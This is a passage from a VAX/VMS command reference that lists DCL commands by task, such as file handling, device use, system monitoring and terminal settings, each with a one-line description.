  3180. ANALYZE/OBJECT    Analyzes an object module.
  3181. DEBUG             Invokes the symbolic debugger after a CTRL/Y.
  3182. DEPOSIT           Changes the contents of memory.
  3183. DIFFERENCES       Displays differences in content between two files.
  3184. DUMP              Displays the uninterpreted contents of a file.
  3185. EDIT              Creates (optionally) and edits a file.
  3186. EXAMINE           Displays the contents of memory.
  3187. LIBRARY           Creates or modifies various kinds of libraries.
  3188. LINK              Creates images from object modules.
  3189. MACRO             Creates object modules from macro source programs.
  3190. MESSAGE           Creates object modules from message source programs.
  3191. PATCH             Patches an image.
  3192. RUN               Runs an executable image.
  3193. SET COMMAND       Updates the commands available to the process.
  3194.  
  3195. -------------------------------------------------------------------------------
  3196. 6. Running executable images.
  3197.  
  3198. CANCEL            Cancels a scheduled wakeup request.
  3199. CONTINUE          Resumes execution of an interrupted command.
  3200. DEBUG             Invokes the VAX/VMS debugger after a CTRL/Y.
  3201. DEPOSIT           Changes the contents of memory.
  3202. EXAMINE           Displays the contents of memory.
  3203. EXIT              Terminates execution of an image or command procedure.
  3204. RUN               Runs an image.
  3205. SET COMMAND       Updates the commands available to the process.
  3206. STOP              Abruptly terminates execution of an image, process, or
  3207.                   command procedure.
  3208.  
  3209. -------------------------------------------------------------------------------
  3210. 7. Saving and cataloging information on storage devices.
  3211.  
  3212. APPEND            Appends one file to another.
  3213. COPY              Creates a copy of an existing file or files.
  3214. CREATE            Creates a new file.
  3215. DELETE            Deletes a file or files.
  3216. DIFFERENCES       Displays differences in content between two files.
  3217. DIRECTORY         Displays the names of the files in a directory.
  3218. EDIT              Creates (optionally) and edits a file.
  3219. MERGE             Merges sorted files.
  3220. PRINT             Prints the contents of a file.
  3221. PURGE             Deletes old versions of a file or files.
  3222. RENAME            Recatalogs an existing file.
  3223. SEARCH            Locates a character string within a file or files.
  3224. SORT              Sorts the data in a file.
  3225. TYPE              Displays the contents of a file.
  3226. SET DEFAULT       Changes the default device and directory.
  3227. SHOW DEFAULT      Displays the default device and directory.
  3228. ANALYZE/RMS_FILE  Analyzes the internal structure of a file.
  3229. CONVERT           Changes the attributes of a file.
  3230. CONVERT/RECLAIM   Reclaims unused space in an indexed file.
  3231. CREATE/DIRECTORY  Creates a new directory or subdirectory.
  3232. CREATE/FDL        Creates a new file with tailored attributes.
  3233. DUMP              Displays the uninterpreted contents of a file.
  3234. EDIT/FDL          Creates a file definition file.
  3235. EDIT/SUM          Updates a file with multiple files of edit commands.
  3236. EXCHANGE          Reformats files formatted by other operating systems.
  3237. LIBRARY           Creates or modifies various kinds of libraries.
  3238. RUNOFF            Formats one or more documents (text files).
  3239. SET DIRECTORY     Changes the characteristics of a directory.
  3240. SET FILE          Changes the characteristics of a file.
  3241. SET PROTECTION    Changes the protection of a file.
  3242. SET PROTECT/DEF   Changes the default protection given to files.
  3243. SET RMS_DEFAULT   Changes the default block and buffer count values.
  3244. SHOW PROTECTION   Displays the default protection.
  3245. SHOW QUOTA        Displays your quota of space on a disk volume.
  3246. SHOW RMS_DEFAULT  Displays the default block and buffer count values.
  3247. UNLOCK            Closes a file accidentally left open.
  3248.  
  3249. -------------------------------------------------------------------------------
  3250. 8. Using higher-level names in place of device and file names.
  3251.  
  3252. ASSIGN            Equates a logical name to an equivalence string.
  3253. CREATE/NAME_TABLE Creates a logical name table.
  3254. DEASSIGN          Deletes a logical name.
  3255. DEFINE            Equates a logical name to an equivalence string.
  3256. SHOW LOGICAL      Displays logical names and their equivalencies.
  3257. SHOW TRANSLATION  Displays a logical name and its first equivalence.
  3258.  
  3259. -------------------------------------------------------------------------------
  3260. 9. Using physical devices.
  3261.  
  3262. ALLOCATE          Allocates a device for your exclusive use.
  3263. DEALLOCATE        Releases an allocated device for general use.
  3264. DISMOUNT          Makes a storage device unavailable for processing.
  3265. INITIALIZE        Formats a storage device.
  3266. MOUNT             Makes a storage device available for processing.
  3267. ANALYZE/DISK      Checks the readability and validity of disks.
  3268. ANALYZE/ERROR_LOG Displays the contents of the system error log.
  3269. ANALYZE/MEDIA     Analyzes the format of a storage device.
  3270. BACKUP            Saves or restores files from storage devices.
  3271. SET CARD_READER   Sets the translation mode for a card reader.
  3272. SET DEVICE        Sets device characteristics.
  3273. SET MAGTAPE       Sets magnetic tape device characteristics.
  3274. SET PRINTER       Sets line printer characteristics.
  3275. SET PROTECT/DEV   Sets protection on a non-files device.
  3276. SET VOLUME        Sets mounted volume characteristics.
  3277. SHOW DEVICES      Displays the status of devices.
  3278. SHOW ERROR        Displays device error counts.
  3279. SHOW MAGTAPE      Displays magnetic tape characteristics.
  3280. SHOW PRINTER      Displays line printer characteristics.
  3281.  
  3282. -------------------------------------------------------------------------------
  3283. 10. Monitoring, maintaining, tuning, and trouble-shooting the system.
  3284.  
  3285. ACCOUNTING        Collects, records, and reports accounting information.
  3286. ANALYZE/CRASH     Analyzes a system dump.
  3287. ANALYZE/DISK      Checks the readability and validity of disks.
  3288. ANALYZE/ERROR_LOG Displays the contents of the system error log.
  3289. ANALYZE/MEDIA     Analyzes the format of a storage device.
  3290. ANALYZE/RMS_FILE  Analyzes the internal structure of a file.
  3291. ANALYZE/SYSTEM    Analyzes the running system.
  3292. BACKUP            Saves or restores files from storage devices.
  3293. MONITOR           Displays performance information on the running system.
  3294. REPLY             Displays a message on one or more terminal screens.
  3295. REQUEST           Displays a message on the operator's console.
  3296. SET ACCOUNTING    Initializes the accounting log file.
  3297. SET AUDIT         Enables auditing of security events.
  3298. SET COMMAND       Updates the commands available to the system.
  3299. SET DAY           Changes the day type.
  3300. SET LOGINS        Sets a limit on the number of interactive users.
  3301. SET TIME          Resets the system clock.
  3302. SHOW ERROR        Displays processor, memory, and device error counts.
  3303. SHOW MEMORY       Displays usage information on memory.
  3304. SHOW SYSTEM       Lists the processes on the running system.
  3305. SHOW USER         Lists the interactive users on the running system.
  3306.  
  3307. -------------------------------------------------------------------------------
  3308. 11. Manipulating your terminal-specific interactive environment
  3309.  
  3310. CONNECT           Connects a physical terminal to a virtual terminal.
  3311. DEFINE/KEY        Equates terminal function keys to command lines.
  3312. DELETE/KEY        Deletes a terminal function key definition.
  3313. DISCONNECT        Disconnects a physical terminal from a virtual terminal.
  3314. RECALL            Recalls previously entered interactive commands.
  3315. SET CONTROL       Controls the use of the CTRL/T and CTRL/Y keys.
  3316. SET HOST          Connects your terminal to another system via DECnet.
  3317. SET PROMPT        Sets the interactive command prompt.
  3318. SET TERMINAL      Sets terminal characteristics.
  3319. SHOW KEY          Displays one or more function key definitions.
  3320. SHOW TERMINAL     Displays terminal characteristics.
  3321.  
  3322. -------------------------------------------------------------------------------
  3323. 12. Examining and controlling the user environment.
  3324.  
  3325. SET COMMAND       Updates the commands available to the process.
  3326. SET CONTROL       Controls the use of the CTRL/T and CTRL/Y keys.
  3327. SET DEFAULT       Changes the default device and directory.
  3328. SET HOST          Connects your terminal to another system via DECnet.
  3329. SET MESSAGE       Overrides or supplements system messages.
  3330. SET PASSWORD      Changes your password.
  3331. SET PROCESS       Changes your process characteristics.
  3332. SET PROMPT        Sets the interactive command prompt.
  3333. SET PROTECT/DEF   Changes the default protection given to files.
  3334. SET RMS_DEFAULT   Changes the default block and buffer count values.
  3335. SET UIC           Changes the UIC of your process.
  3336. SET WORKING_SET   Changes your working set limit or quota.
  3337. SHOW DEFAULT      Displays the default device and directory.
  3338. SHOW KEY          Displays one or more function key definitions.
  3339. SHOW LOGICAL      Displays logical names and their equivalencies.
  3340. SHOW PROCESS      Displays your process characteristics.
  3341. SHOW PROTECTION   Displays the default protection.
  3342. SHOW QUOTA        Displays your quota of space on a disk volume.
  3343. SHOW RMS_DEFAULT  Displays the default block and buffer count values.
  3344. SHOW STATUS       Displays brief process characteristics.
  3345. SHOW SYMBOL       Displays the value of a symbol.
  3346. SHOW TERMINAL     Displays terminal characteristics.
  3347. SHOW TIME         Displays the current date and time.
  3348. SHOW TRANSLATION  Displays a logical name and its first equivalence.
  3349. SHOW WORKING_SET  Displays your working set limit and quota.
  3350.  
  3351. -------------------------------------------------------------------------------
  3352.